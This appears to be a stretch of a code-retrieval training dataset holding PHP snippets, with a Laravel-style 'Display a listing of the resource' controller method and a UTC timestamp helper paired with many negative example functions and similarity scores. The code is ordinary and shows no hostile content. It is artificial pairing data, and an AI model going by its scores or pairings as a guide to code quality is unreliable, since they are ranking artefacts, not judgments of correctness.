"function cbMkReadableStr($str)\n\t{\n\t\tif ( is_string($str) )\n\t\t{\n\t\t\t$clean_str = htmlspecialchars($str);\n\n\t\t\t// remove file extension\n\t\t\t$clean_str = preg_replace('/\\.[[:alnum:]]+$/i', '', $clean_str);\n\n\t\t\t// remove funky characters\n\t\t\t$clean_str = preg_replace('/[^[:print:]]/', '_', $clean_str);\n\n\t\t\t// Convert camelcase to underscore\n\t\t\t$clean_str = preg_replace('/([[:alpha:]][a-z]+)/', \"$1_\", $clean_str);\n\n\t\t\t// try to cactch N.N or the like\n\t\t\t$clean_str = preg_replace('/([[:digit:]\\.\\-]+)/', \"$1_\", $clean_str);\n\n\t\t\t// change underscore or underscore-hyphen to become space\n\t\t\t$clean_str = preg_replace('/(_-|_)/', ' ', $clean_str);\n\n\t\t\t// remove extra spaces\n\t\t\t$clean_str = preg_replace('/ +/', ' ', $clean_str);\n\n\t\t\t// convert stand alone s to 's\n\t\t\t$clean_str = preg_replace('/ s /', \"'s \", $clean_str);\n\n\t\t\t// remove beg/end spaces\n\t\t\t$clean_str = trim($clean_str);\n\n\t\t\t// capitalize\n\t\t\t$clean_str = ucwords($clean_str);\n\n\t\t\t// restore previous entities facing & issues\n\t\t\t$clean_str = preg_replace( '/(& ;)([a-z0-9]+) ;/i'\n\t\t\t\t, '&\\2;'\n\t\t\t\t, $clean_str\n\t\t\t);\n\n\t\t\treturn $clean_str;\n\t\t}\n\n\t\treturn false;\n\t}",
"function fromexp(){return \"`{$this->entity->name}`\"; }",
"function toString($newLine = \"\\n\") {\n\t\t$string = '';\n\t\t$string .= \" ID[$this->_ID] $newLine\";\n\t\t$string .= \" UserID[$this->_UserID] $newLine\";\n\t\t$string .= \" ProfileName[$this->_ProfileName] $newLine\";\n\t\t$string .= \" Active[$this->_Active] $newLine\";\n\t\t$string .= \" CreateDate[$this->_CreateDate] $newLine\";\n\t\t$string .= \" UpdateDate[$this->_UpdateDate] $newLine\";\n\t\treturn $string;\n\t}",
"public function str() {\n\t\t\treturn \\uri\\generate::string($this->object);\n\t\t}",
"abstract protected function generateName();",
"public function method1()\n {\n $str = $this->attribut;\n $str .= 'Je suis la class maman 2';\n return $str;\n }",
"public function __toString()\n {\n return new Mystring(\"This is an instance of Mysidia Font class.\");\n }"
] | [
"0.6469853",
"0.6233743",
"0.6193926",
"0.61513466",
"0.6141007",
"0.60816896",
"0.60071844",
"0.5980243",
"0.5958608",
"0.59538716",
"0.5917279",
"0.5906371",
"0.5854986",
"0.58251756",
"0.5818664",
"0.5786887",
"0.5786887",
"0.57593054",
"0.5758817",
"0.57345605",
"0.57325685",
"0.5712044",
"0.5698955",
"0.56959665",
"0.56883395",
"0.56871516",
"0.5681632",
"0.5681632",
"0.5648565",
"0.5625733",
"0.5623504",
"0.5621519",
"0.56157625",
"0.56038344",
"0.5603176",
"0.55599636",
"0.5558127",
"0.5553471",
"0.5553471",
"0.5546712",
"0.5542621",
"0.55394906",
"0.5538524",
"0.5533591",
"0.55274725",
"0.54952013",
"0.5488863",
"0.5479772",
"0.5474127",
"0.5473201",
"0.54730177",
"0.54717946",
"0.5471439",
"0.5461348",
"0.5459946",
"0.5456886",
"0.54518414",
"0.5443991",
"0.54415274",
"0.54365665",
"0.54332423",
"0.5433016",
"0.5431292",
"0.5424711",
"0.5424293",
"0.5418109",
"0.5414092",
"0.5405328",
"0.5403438",
"0.5393773",
"0.53893846",
"0.5388885",
"0.53887635",
"0.5373858",
"0.53713185",
"0.5361492",
"0.53605133",
"0.5360301",
"0.53541046",
"0.53524804",
"0.5350217",
"0.534608",
"0.5341697",
"0.5340985",
"0.5334525",
"0.5327905",
"0.53244793",
"0.532104",
"0.53162634",
"0.5314704",
"0.5311283",
"0.53085184",
"0.53029877",
"0.5297963",
"0.5289431",
"0.5284761",
"0.528042",
"0.52781296",
"0.5275617",
"0.52732885",
"0.5271652"
] | 0.0 | -1 |
Display a listing of the resource. | public function index()
{
$department = "sales";
if(session()->has("department")){
if(session()->get("department") === $department){
$clients = \App\Client::all()->sortBy("firstname");
return view("/sales/salesMain")->with("clients", $clients);
}
return redirect("/" . session()->get("department"));
}
else{
return redirect("/");
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"public function indexAction()\n {\n $limit = $this->Request()->getParam('limit', 1000);\n $offset = $this->Request()->getParam('start', 0);\n $sort = $this->Request()->getParam('sort', array());\n $filter = $this->Request()->getParam('filter', array());\n\n $result = $this->resource->getList($offset, $limit, $filter, $sort);\n\n $this->View()->assign($result);\n $this->View()->assign('success', true);\n }",
"public function listing();",
"function index() {\n\t\t$this->show_list();\n\t}",
"public function actionList() {\n $this->_getList();\n }",
"public function listAction()\n {\n $model = $this->_getPhotoModel();\n $entries = $model->fetchEntries($this->_getParam('page', 1));\n\n $this->view->url = 'http://' . $this->_request->getHttpHost() . $this->_request->getBaseUrl(); \n $this->view->paginator = $entries;\n }",
"public function index()\n {\n $items = Item::all();\n return ItemForShowResource::collection($items);\n }",
"public function index()\n {\n return Resource::collection(($this->getModel())::paginate(10));\n }",
"function index()\n\t{\n\t\t$this->_list();\n\t\t$this->display();\n\t}",
"public function listingAction(){\n if (!LoginHelper::isAdmin()){\n Router::redirect('home', '<p class=\"alert alert-danger\">Unauthorized</p>');\n }\n $this->view->render('patient/list', Patient::all());\n }",
"public function index()\n {\n //\n $list = $this->obj->all();\n\n return $this->render('index', compact('list'));\n }",
"public function action_index()\n\t{\n\t\t$this->template->title = 'Resources';\n\t\t$this->view = View::factory('admin/resource/index');\n\t\t$this->template->scripts[] = 'media/js/jquery.tablesorter.min.js';\n\t\t$this->template->scripts[] = 'media/js/admin/resource.js';\n\t\t\n\t\t$resources = Sprig::factory('resource')->load(NULL, FALSE);\n\t\tif (!empty($resources))\n\t\t{\n\t\t\t$this->view->resources = $resources->as_array();\n\t\t}\n\t}",
"function listing()\n\t\t{\n\t\t// en $this->_view->_listado para poder acceder a el desde la vista.\n\t\t\t$this->_view->_listado = $listado = $this->_instrumentoModel->getInstrumento();\n\t\t\t$this->_view->render('listing', '', '',$this->_sidebar_menu);\n\t\t}",
"public function listAction()\n {\n $em = $this->getDoctrine()->getManager();\n \n $todos = $em->getRepository(Todo::class)->findAll();\n \n return $this->render('todo/index.html.twig', array(\n 'todos' => $todos,\n ));\n }",
"public function index()\n\t{\n $this->authorize('list', Instance::class);\n\n\t\treturn $this->ok($this->repo->paginate($this->request->all()));\n\t}",
"public function actionRestList() {\n\t $this->doRestList();\n\t}",
"public function listing()\n\t{\n\t\t$hospitalID = $this->request->getSession()->read(\"hospital_id\") ? $this->request->getSession()->read(\"hospital_id\") : \"\";\n\t\t\n\t\t$patientMonitored = 1;\n\t\t$patientActive = 1;\n\t\t\n\t\t//GET ALL PATIENTS\n\t\t$patientsData = $this->Patients->allPatients($hospitalID,$patientMonitored,$patientActive);\n\t\t//GET ALL PATIENTS\n\t\t\n\t\t//echo \"<pre>\"; print_r($patientsData);die;\n\t\t$this->set(compact(\"patientsData\"));\n\t}",
"public function listAction()\n {\n $htmlpage = '<!DOCTYPE html>\n<html>\n <head>\n <meta charset=\"UTF-8\">\n <title>todos list!</title>\n </head>\n <body>\n <h1>todos list</h1>\n <p>Here are all your todos:</p>\n <ul>';\n \n $em = $this->getDoctrine()->getManager();\n $todos = $em->getRepository(Todo::class)->findAll();\n foreach($todos as $todo) {\n $htmlpage .= '<li>\n <a href=\"/todo/'.$todo->getid().'\">'.$todo->getTitle().'</a></li>';\n }\n $htmlpage .= '</ul>';\n\n $htmlpage .= '</body></html>';\n \n return new Response(\n $htmlpage,\n Response::HTTP_OK,\n array('content-type' => 'text/html')\n );\n }",
"public function index()\n {\n // Get Persons\n $person = Person::paginate(10);\n\n //Return collection of person as a resource\n return PersonResource::collection($person);\n }",
"public function listAction() {\n\t\t$this->view->title = $this->translator->translate(\"Invoice list\");\n\t\t$this->view->description = $this->translator->translate(\"Here you can see all the invoices.\");\n\t\t$this->view->buttons = array(array(\"url\" => \"/admin/invoices/new/\", \"label\" => $this->translator->translate('New'), \"params\" => array('css' => null)));\r\n\t\t$this->datagrid->setConfig ( Invoices::grid() )->datagrid ();\n\t}",
"public function listAll()\n\t{\n\t\t$this->render(self::PATH_VIEWS . '/list', [\n\t\t\t'pages' => $this->pagesDb->findAll('id', 'DESC'),\n\t\t]);\n\t}",
"public function list()\n {\n // récupérer les données : toutes les catégories enregistrées\n $productList = Product::findAll();\n\n $this->show('product/list', [\n 'productList' => $productList\n ]);\n }",
"public function index()\n {\n // CRUD -> Retrieve --> List\n // BREAD -> Browse Read Edit Add Delete\n // return Item::all();\n return view('list_items',compact('items'));\n }",
"public function index()\n {\n // Get manufacturers\n $manufacturers = Manufacturer::orderBy('created_at', 'desc')->paginate(15);\n\n // Return collection of manufacturers as a resource\n return ManufacturerResource::collection($manufacturers);\n }",
"public function index()\n {\n return ArtistResource::collection(Artist::orderBy('created_at', 'desc')->get());\n }",
"public function indexAction() {\n\t\t$page = intval($this->getInput('page'));\n\t\t$perpage = $this->perpage;\n\t\t\n\t\tlist(,$files) = Lock_Service_FileType::getAllFileType();\n\t\t$data = array();\n\t\tforeach ($files as $key=>$value) {\n\t\t\t$data[$key]['id'] = $value['id'];\n\t\t\t$data[$key]['title'] = $value['name'];\n\t\t}\n\t\tlist($total, $filetype) = Lock_Service_FileType::getList($page, $perpage);\n\t\t$this->assign('filetype', $filetype);\n\t\t$this->assign('pager', Common::getPages($total, $page, $perpage, $this->actions['listUrl'].'/?'));\n\t\t$this->assign('data', json_encode($data));\n\t}",
"public function listAction()\n {\n $qb = $this->getRepository()->queryAll();\n\n $view = new ImportListView;\n $view->imports = $qb->getQuery()->execute();\n\n return $this->templating->renderResponse('InfiniteImportBundle:Import:list.html.twig', array(\n 'data' => $view\n ));\n }",
"public function index()\n\t{\n\t\t//Return model all()\n\t\t$instances = $this->decorator->getListingModels();\n\n\t\treturn View::make($this->listingView, array(\n\t\t\t'instances' => $instances,\n\t\t\t'controller' => get_class($this), \n\t\t\t'modelName' => class_basename(get_class($this->decorator->getModel())),\n\t\t\t'columns' => $this->getColumnsForInstances($instances),\n\t\t\t'editable' => $this->editable\n\t\t));\n\t}",
"public function index()\n {\n return InfografiResources::collection(\n Infografi::orderBy('date', 'desc')->get()\n );\n }",
"public function listAction()\n\t {\n\t\t\t$this->_forward('index');\n \n\t\t}",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function index()\n {\n $this->list_view();\n }",
"public function listAction()\n {\n $defaults = array(\n 'page' => null,\n 'order' => null,\n 'limit' => null,\n 'offset' => null,\n 'filter' => array(),\n );\n $body = $this->getRequest()->getBody();\n $options = $body + $defaults;\n\n // Process the options\n if (is_string($options['order'])) {\n $options['order'] = array_map('trim', explode(',', $options['order']));\n }\n if (is_string($options['page'])) {\n $options['page'] = (int)$options['page'];\n }\n if (is_string($options['limit'])) {\n $options['limit'] = (int)$options['limit'];\n }\n if (is_string($options['offset'])) {\n $options['offset'] = (int)$options['offset'];\n }\n $filter = $options['filter'];\n unset($options['filter']);\n\n $options = array_filter($options);\n\n return $this->getBinding()->find($filter, $options);\n }",
"public function index()\n {\n /* Check if logged in user is authorized to make this request */\n $this->authorizeAction();\n\n /* Get the resources from the model */\n $resources = $this->resourcesList($this->model);\n\n /* Sets the view */\n if (view()->exists(\"admin.{$this->name}.index\")) {\n $view = \"admin.{$this->name}.index\";\n } else {\n $view = 'admin.includes.actions.index';\n }\n\n /* Display a listing of the resources */\n return view($view)\n ->with('resources', $resources)\n ->with('module', $this->module);\n }",
"public function index()\n\t{\n\t\t$data['lists'] = $this->mdl_student->get_all();\n\t\t$this->template->set('title', 'Student Hostel List');\n\t\t$this->template->load('template', 'contents', 'student_hostel/student_hostel_list', $data);\n\t}",
"public function index()\n {\n $modules = Module::all();\n return Resource::collection($modules);\n }",
"public function index()\n {\n // List all resources from user entity\n $users = User::all();\n\n return $this->showAll($users);\n }",
"public function index()\n {\n // Get todos\n $todos = Todo::orderBy('created_at', 'desc')->paginate(3);\n\n // Return collection of articles as a resource\n return TodoResource::collection($todos);\n }",
"public function index()\n {\n return Resources::collection(Checking::paginate());\n }",
"public function index()\n {\n return CourseListResource::collection(\n Course::query()->withoutGlobalScope('publish')\n ->latest()->paginate()\n );\n }",
"public function index()\n {\n $cars = Car::paginate(15);\n return CarResource::collection($cars);\n }",
"public function index()\n {\n // Get articles\n $articles = Article::orderBy('created_at', 'desc')->paginate(5);\n\n // Return collection of articles as a resource\n return ArticleResource::collection($articles);\n }",
"public function index()\n {\n $authors = Author::paginate(10);\n\n return AuthorResource::collection($authors);\n }",
"public function index()\n {\n //Get Books\n $books = Book::paginate(10);\n \n if ($books) {\n return (BookResource::collection($books))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n } else {\n return (BookResource::collection([]))->additional([\n 'status_code' => 200,\n 'status' => 'success',\n ]);\n }\n return view('index')->with('data', $books);\n }",
"public function view(){\n\t\t$this->buildListing();\n\t}",
"public function index()\n {\n $books = Book::latest()\n ->paginate(20);\n\n return BookResource::collection($books);\n }",
"public function index()\n {\n $listing = Listing::orderBy('id', 'desc')->paginate(10);\n return view('listings.index')->withListings($listing);\n }",
"public function listAction()\n {\n $this->_getSession()->setFormData([]);\n\n $this->_title($this->__('Training Cms'))\n ->_title($this->__('Pages'));\n\n $this->loadLayout();\n\n $this->_setActiveMenu('training_cms');\n $this->_addBreadcrumb($this->__('Training Cms'), $this->__('Training Cms'));\n $this->_addBreadcrumb($this->__('Pages'), $this->__('Pages'));\n\n $this->renderLayout();\n }",
"public function index()\n {\n $services = $this->serviceRepository->paginate();\n\n return ServiceResource::collection($services);\n }",
"public function index()\n {\n $resources = ResourceManagement::paginate(5);\n $users = User::get();\n\n return view('resources-mgmt/index', ['resources' => $resources, 'users' => $users]);\n }",
"public function index()\n {\n $catalogs = Catalog::where('status', '=', Catalog::PUBLICADO)\n ->orderBy('id', 'DESC')->get();\n \n $data = CatalogResource::collection($catalogs);\n\n return [\n 'items' => $data,\n 'mensaje' => ''\n ];\n }",
"public function listAction(){\n // In a controller this can be:\n // $this->request->getQuery('page', 'int'); // GET\n $currentPage = $this->request->getPost('pageindex', 'int'); // POST\n $pageNum = ($currentPage == null) ? 1 : $currentPage;\n\n // The data set to paginate\n $message = new Notice();\n $results = $message->getMsg4Admin();\n\n // Create a Model paginator, show 10 rows by page starting from $currentPage\n $paginator = new PaginatorArray(\n array(\n \"data\" => $results,\n \"limit\" => 10,\n \"page\" => $pageNum\n )\n );\n\n // Get the paginated results\n $page = $paginator->getPaginate();\n\n return $this->response->setJsonContent($page);\n\n }",
"public function list()\n {\n try {\n return $this->success($this->service->list());\n } catch (\\Exception $exception) {\n return $this->error($exception->getMessage());\n }\n }",
"public function index()\n {\n return $this->sendResponse(CrisisResource::collection(Crisis::paginate(10)), 'Data fetched successfully');\n }",
"public function index()\n\t{\n\t\t$%Alias = new %Model();\n\t\t$params = array();\n\t\t\n\t\t$Paginator = new Paginator( $%Alias->findSize( $params ), $this->getLimit(), $this->getPage() );\n\t\t$this->getView()->set( '%Aliass', $%Alias->findList( $params, 'Id desc', $this->getOffset(), $this->getLimit() ) );\n\t\t$this->getView()->set( 'Paginator', $Paginator );\n\t\treturn $this->getView()->render();\n\t}",
"public function listAction() {}",
"public function index()\n {\n\n return RecipeResource::collection(Recipe::all());\n }",
"public function index()\n {\n $this->indexPage('list-product', 'List Product');\n }",
"public function listAction()\n {\t\n\t\t$this->removeSession();\n\t\t$this->verifySessionRights();\n\t\t$this->setActivity(\"List view\");\n $em = $this->getDoctrine()->getManager();\n $oRepClient = $em->getRepository('BoAdminBundle:Client');\n\t\t$nb_tc = $oRepClient->getTotal();\n\t\t//get page\n\t\t$page = $this->get('session')->get('page');\n\t\tif($page==null){\n\t\t\t$page=1;\n\t\t\t$this->get('session')->set('page',1);\n\t\t}\n\t\t//get number line per page\n\t\t$nb_cpp = $em->getRepository('BoAdminBundle:Param')->getParam(\"display_list_page_number\",1);\n\t\t$nb_pages = ceil($nb_tc/$nb_cpp);\n\t\t$offset = $page>0?($page-1) * $nb_cpp:0;\n\t\t$clients = $em->getRepository('BoAdminBundle:Client')->findBy(array(),array('id' => 'desc'),$nb_cpp,$offset);\n $form = $this->createForm('Bo\\AdminBundle\\Form\\ClientType', new Client());\n return $this->render('client/index.html.twig', array(\n 'clients' => $clients,\n\t\t\t'page' => $page, // forward current page to view,\n\t\t\t'nb_pages' => $nb_pages, //total number page,\n 'form' => $form->createView(),\n\t\t\t'total'=>$nb_tc, // record number.\n\t\t\t'nb_cpp' => $nb_cpp,// line's number to display\n\t\t\t'pm'=>\"contracts\",\n\t\t\t'sm'=>\"client\",\n ));\n }",
"public function index()\n {\n return AcResource::collection(Ac::latest()->paginate()); //\n }",
"public function executeList()\n {\n $this->setTemplate('list');\n }",
"public function indexAction()\n {\n $books = Book::getAll();\n\n View::renderTemplate('Books/index.html', [\n 'books' => $books\n ]);\n }",
"function listing() {\r\n\r\n }",
"public function listar() {\n $rs = $this->model->listar();\n\n echo $this->toJson($rs);\n }",
"public function index()\n {\n return BookResource::collection(Book::orderby('id')->get());\n }",
"public function doRestList()\n {\n $this->outputHelper( \n 'Records Retrieved Successfully', \n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->orderBy($this->restSort)->limit($this->restLimit)->offset($this->restOffset)->findAll(),\n $this->getModel()->with($this->nestedRelations)->filter($this->restFilter)->count()\n );\n\t}",
"public function index()\n {\n $client = Client::paginate();\n return ClientResource::collection($client);\n }",
"public function index()\n {\n return TagResource::collection(\n Tag::orderBy('name', 'ASC')->paginate(request('per_page', 10))\n );\n }",
"public function _index(){\n\t $this->_list();\n\t}",
"public function index()\n\t{\n\t\t$data['lists'] = $this->gallery_mdl->get_all();\n\t\t$this->template->set('title', 'Gallery');\n\t\t$this->template->render('template', 'list', $data);\n\t}",
"function drush_restapi_list() {\n\n $resources = restapi_get_resources();\n $last_module = NULL;\n $rows = [\n [dt('Module'), dt('Path'), dt('Class')],\n ];\n\n foreach($resources as $resource) {\n if ($last_module != $resource->getModule()) {\n $module = $last_module = $resource->getModule();\n }\n else {\n $module = '';\n }\n $rows[] = [$module, $resource->getPath(), $resource->getClass()];\n }\n\n drush_print_table($rows, TRUE);\n drush_log(dt('Displaying !count total resources', [\n '!count' => count($resources),\n ]), 'ok');\n\n}",
"public function index()\n {\n $this->booklist();\n }",
"public function index()\n {\n //\n $accounts = accounts::paginate(15);\n\n //return the collection of employees as a resource\n return accountResource::collection($accounts);\n\n\n }",
"public function index()\n {\n $items = Item::all();\n return view('items::list_items',compact('items'));\n }",
"public function index()\n {\n // Get houses\n $houses = House::orderBy('created_at', 'desc')->paginate(self::PAGINATE);\n \n // Return collection of houses\n \n return HouseResource::collection($houses);\n }",
"public function index()\n {\n $products = Product::paginate(6);\n return ProductResource::collection($products);\n }",
"public function index() {\n $this->template->allFoundItems = Found::showAll();\n $this->template->display( 'index.html.php' );\n }",
"public function indexAction() {\n $this->_forward('list');\n }",
"public function index()\n {\n $data = Productcategory::paginate(10);\n\t\treturn ProductcategoryResource::Collection($data);\n }",
"public function index()\n {\n return SongResource::collection(\\App\\Song::orderBy('created_at', 'desc')->get());\n }",
"public function ListView()\n\t{\n\t\t\n\t\t// Requer permissão de acesso\n\t\t$this->RequirePermission(Usuario::$P_ADMIN,\n\t\t\t\t'SecureExample.LoginForm',\n\t\t\t\t'Autentique-se para acessar esta página',\n\t\t\t\t'Você não possui permissão para acessar essa página ou sua sessão expirou');\n\t\t\n\t\t//$usuario = Controller::GetCurrentUser();\n\t\t//$this->Assign('usuario',$usuario);\n\t\t$this->Render();\n\t}",
"public function index () {\n permiss ( 'role.list' );\n\n $data = $this->entity\n ->orderBy('created_at', 'desc')->get();\n\n return new ModelResource($data);\n }",
"public function showResources()\n {\n $resources = Resource::get();\n return view('resources', compact('resources'));\n }",
"public function index()\n {\n //get articless\n $articles = Article::paginate(15);\n\n //Return collection of article has a resource\n return ArticleResource::collection($articles);\n\n }",
"public function actionList() {\n header(\"Content-type: application/json\");\n $verb = $_SERVER[\"REQUEST_METHOD\"];\n\n if ($verb === 'GET') {\n echo \"{\\\"data\\\":\" . CJSON::encode(Donneur::model()->findAll()) . \"}\";\n } else if ($verb == 'POST') {\n if (Donneur::model()->exists('id' === $_POST['id'])) {\n $this->actionListUpdate($_POST);\n } else {\n $this->actionListPost();\n }\n } else if ($verb == 'DELETE') {\n $this->actionListDelete();\n }\n }",
"public function list()\n {\n return $this->http->request(HttpMethods::GET, $this->endpoint);\n }",
"public function indexAction(){\n $data = array(\n 'collection' => $this->model->getCollection(),\n \n ); \t\n return $this->getView($data);\n }",
"public function indexAction()\n {\n $em = $this->getDoctrine()->getManager();\n\n $entities = $em->getRepository('DiverPriceLisrBundle:Items')->findAll();\n\n return $this->render('DiverPriceLisrBundle:Items:index.html.twig', array(\n 'entities' => $entities,\n ));\n }",
"public function actionIndex()\n {\n $dataProvider = new ActiveDataProvider([\n 'query' => Slaves::find(),\n ]);\n\n return $this->render('index', [\n 'dataProvider' => $dataProvider,\n ]);\n }",
"public function listAction() {\n\t\t// Recogemos el repositorio\n\t\t$repository = $this->getDoctrine() ->getRepository('AppBundle:Product');\n\t\n\t\t// Recuperamos todos los productos.\n\t\t$products = $repository->findAll();\n\t\t// Pasamos a la plantilla el aray products\n\t\treturn $this->render('product/listActionProduct.html.twig', array( 'products' => $products));\n\t\n\t}",
"public function listAction()\n\t {\n\t\t$model = $this->_getModel();\n\t\t$result = $model->getLayouts();\t\n\t\t$page = (int)($this->_request->getParam('page')); \n\t\tif(count($result) > 0)\n\t\t{ \n\t\t\tGlobals::doPaging($result, $page, $this->view);\n\t\t}\n\t\t\t\t\n\t\t$this->view->page = $page;\n\t }",
"public function actionList()\n {\n // get model\n $model = new $this->_model('search');\n $model->unsetAttributes();\n\n // set filter\n if (isset($_GET[$this->_model])) {\n $model->attributes = $_GET[$this->_model];\n }\n $model->u_cms_album_id = $_GET['album'];\n\n // search\n $dataProvider = $model->search(Yii::app()->language);\n // sort\n $sort = $dataProvider->getSort();\n // route\n $sort->route = $this->id . '/list';\n\n // pagination parameters\n $pagination = $dataProvider->getPagination();\n $pagination->route = $this->id . '/list';\n $pagination->pageSize = UInterfaceSetting::model()->getSettings($this->id . ':' . $this->module->id, Yii::app()->user->id)->page_size;\n $pagination->itemCount = $dataProvider->totalItemCount;\n\n // datas\n $datas = $dataProvider->getData();\n\n // related datas\n $relatedDatas = $this->_loadRelatedData();\n\n // template\n $template = isset($_REQUEST['partial']) ? 'list/_table' : 'list/main';\n\n $jsonParams = array();\n if (Yii::app()->request->isAjaxRequest) {\n // filters\n $filtersDatas = array();\n if (isset($_GET[$this->_model])) {\n $filtersDatas[$this->_model] = $_GET[$this->_model];\n }\n if (isset($_GET[$sort->sortVar])) {\n $filtersDatas[$sort->sortVar] = $_GET[$sort->sortVar];\n }\n\n $jsonParams = array(\n 'filters' => http_build_query($filtersDatas)\n );\n }\n\n $this->dynamicRender(\n $template,\n array(\n 'dataView' => new $this->crudComponents['listDataView'](\n $datas, $relatedDatas, $model, $sort, $pagination, $this\n )\n ),\n $jsonParams\n );\n }",
"public function index()\n {\n return view('listings.index')->with('listings', Listing::all());\n }",
"public function get_index()\n\t{\n\t\t$pages = Page::recent_available()->paginate(30);\n\t\t$table = Cello\\Presenter\\Page::table($pages);\n\t\t$data = array(\n\t\t\t'eloquent' => $pages,\n\t\t\t'table' => $table,\n\t\t);\n\n\t\tSite::set('title', __('cello::title.pages.list'));\n\n\t\treturn View::make('cello::api.resources.index', $data);\n\t}",
"public function index()\n {\n return ProductResource::collection(Product::latest()->paginate(10));\n }",
"public function index()\n {\n $category = GalleryCategory::paginate(15);\n\n // return collection of category as a resource.\n return Resource::collection($category);\n }",
"public function index()\n {\n //\n $news = News::latest()->paginate(18);\n\n return NewsResource::collection($news);\n }",
"public function indexAction() {\n\t\t$list_info = Zend_Registry::get('list_info');\n if (!Engine_Api::_()->core()->hasSubject('list_listing')) {\n return $this->setNoRender();\n }\n \n $this->view->expiry_setting = Engine_Api::_()->list()->expirySettings();\n\n //GET SUBJECT\n $this->view->list = $list = Engine_Api::_()->core()->getSubject('list_listing');\n\n\t\t//GET CATEGORY TABLE\n\t\t$this->view->tableCategory = Engine_Api::_()->getDbTable('categories', 'list');\n\n //GET CATEGORIES NAME\n\t\t$this->view->category_name = $this->view->subcategory_name = $this->view->subsubcategory_name = '';\n\n\t\tif(!empty($list->category_id)) {\n\t\t\tif($this->view->tableCategory->getCategory($list->category_id))\n\t\t\t$this->view->category_name = $this->view->tableCategory->getCategory($list->category_id)->category_name;\n\n\t\t\tif(!empty($list->subcategory_id)) {\n\t\t\t\tif($this->view->tableCategory->getCategory($list->subcategory_id))\n\t\t\t\t$this->view->subcategory_name = $this->view->tableCategory->getCategory($list->subcategory_id)->category_name;\n\n\t\t\t\tif(!empty($list->subsubcategory_id)) {\n\t\t\t\t\tif($this->view->tableCategory->getCategory($list->subsubcategory_id))\n\t\t\t\t\t$this->view->subsubcategory_name = $this->view->tableCategory->getCategory($list->subsubcategory_id)->category_name;\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n //GET LISTING TAGS\n $this->view->listTags = $list->tags()->getTagMaps();\n\n\t\t//GET OTHER DETAILS\n\t\t$this->view->list_description = Zend_Registry::get('list_descriptions');\n $this->view->addHelperPath(APPLICATION_PATH . '/application/modules/Fields/View/Helper', 'Fields_View_Helper');\n $this->view->fieldStructure = Engine_Api::_()->fields()->getFieldsStructurePartial($list);\n\t\tif(empty($list_info)){ return $this->setNoRender(); }\n }",
"public function index()\n {\n return $this->service->fetchResources(Author::class, 'authors');\n }",
"public function index()\n {\n return view('admin.resources.index');\n }",
"public function doRestList() {\n\t\t$this->outputHelper ( 'Collections Retrieved Successfully', $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->orderBy ( $this->restSort )->limit ( $this->restLimit )->offset ( $this->restOffset )->findAll (), $this->getModel ()->with ( $this->nestedRelations )->filter ( $this->restFilter )->count () );\n\t}"
] | [
"0.7446777",
"0.736227",
"0.73005503",
"0.72478926",
"0.71631265",
"0.71489686",
"0.7131636",
"0.7105969",
"0.71029514",
"0.7101372",
"0.70508176",
"0.6995128",
"0.69890636",
"0.6934895",
"0.6900203",
"0.6899281",
"0.6891734",
"0.6887235",
"0.68670005",
"0.6849741",
"0.6830523",
"0.6802689",
"0.6797",
"0.67957735",
"0.67871135",
"0.6760129",
"0.67427456",
"0.6730486",
"0.67272323",
"0.67255723",
"0.67255723",
"0.67255723",
"0.67177945",
"0.6707866",
"0.6706713",
"0.6704375",
"0.6664782",
"0.6662871",
"0.6660302",
"0.6659404",
"0.6656656",
"0.6653517",
"0.6647965",
"0.6620322",
"0.66185474",
"0.6618499",
"0.6606105",
"0.6600617",
"0.65996987",
"0.6594775",
"0.6587389",
"0.6585109",
"0.6581641",
"0.6581017",
"0.6577157",
"0.65747666",
"0.6572513",
"0.65721947",
"0.6570553",
"0.65646994",
"0.6563556",
"0.6554194",
"0.65529937",
"0.65460825",
"0.65368485",
"0.653429",
"0.65328294",
"0.6526759",
"0.6526695",
"0.6526284",
"0.65191334",
"0.65183175",
"0.65174305",
"0.651703",
"0.65141153",
"0.6507088",
"0.65061647",
"0.6504046",
"0.64942145",
"0.6491893",
"0.64883405",
"0.6486392",
"0.6485077",
"0.64846045",
"0.6478858",
"0.64756656",
"0.64726377",
"0.6471126",
"0.64701074",
"0.6467418",
"0.6462195",
"0.64618355",
"0.6459199",
"0.6457831",
"0.6454631",
"0.64533997",
"0.6451915",
"0.6450861",
"0.6449301",
"0.64492667",
"0.64469045"
] | 0.0 | -1 |
return date_timestamp_get(date_create('now', new DateTimeZone('UTC'))); | public static function getTimestamp(){
return time();
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function nowTS()\n{\n $tz = new DateTimeZone('UTC');\n $time = new DateTime('now', $tz);\n return $time->getTimestamp();\n}",
"function now() {\n return new DateTime();\n}",
"private function getTimestamp() {\n\t$dateTime = new DateTime('now', new DateTimeZone(self::TIME_ZONE));\n\treturn $dateTime->format(self::DATE_FORMAT);\n }",
"public function utcnow()\n {\n return R::isodatetime(time() - date('Z'));\n }",
"public function freshTimestamp()\n {\n return Date::now();\n }",
"function getnow() {\n\t$dt = date('Y-m-d');\n\treturn $dt;\n}",
"public static function curTimestamp()\n {\n return date_timestamp_get(new DateTime());\n }",
"function Now()\n{\n\t$now = date(\"Y-m-d H:i:s\");\n\treturn $now;\n}",
"function now(){\n\t$date = new DateTime();\n\t$datetime = $date->format('Y-m-d H:i:s');\n\treturn $datetime;\n}",
"public function timestampableOnPreUpdate()\n {\n return $this->fulfillUTCNow();\n }",
"function datetime_now() {\n return date(\"Y-m-d H:i:s\");\n}",
"function date_now() {\n return date(\"Y-m-d\");\n}",
"public function getNow(): \\DateTimeImmutable;",
"public function timestampableOnPrePersist()\n {\n return $this->fulfillUTCNow();\n }",
"function now() {\n\t\t// PHP pre 7.1: get time with milliseconds accuracy\n\t\treturn DateTime::createFromFormat('U.u', number_format(microtime(true), 3, '.', ''));\n\t}",
"function datetime_now() {\n\treturn date('Y-m-d H:i:s');\n}",
"private static function generate_timestamp()\n {\n return time();\n }",
"private static function generate_timestamp() {\n return time();\n }",
"public function now();",
"public function freshTimestamp()\n {\n return Carbon::now()->timestamp;\n }",
"public static function timestamp() {\n return time(); \n }",
"public static function now(){\n\t\treturn date('Y-m-d H:i:s', time());\n\t}",
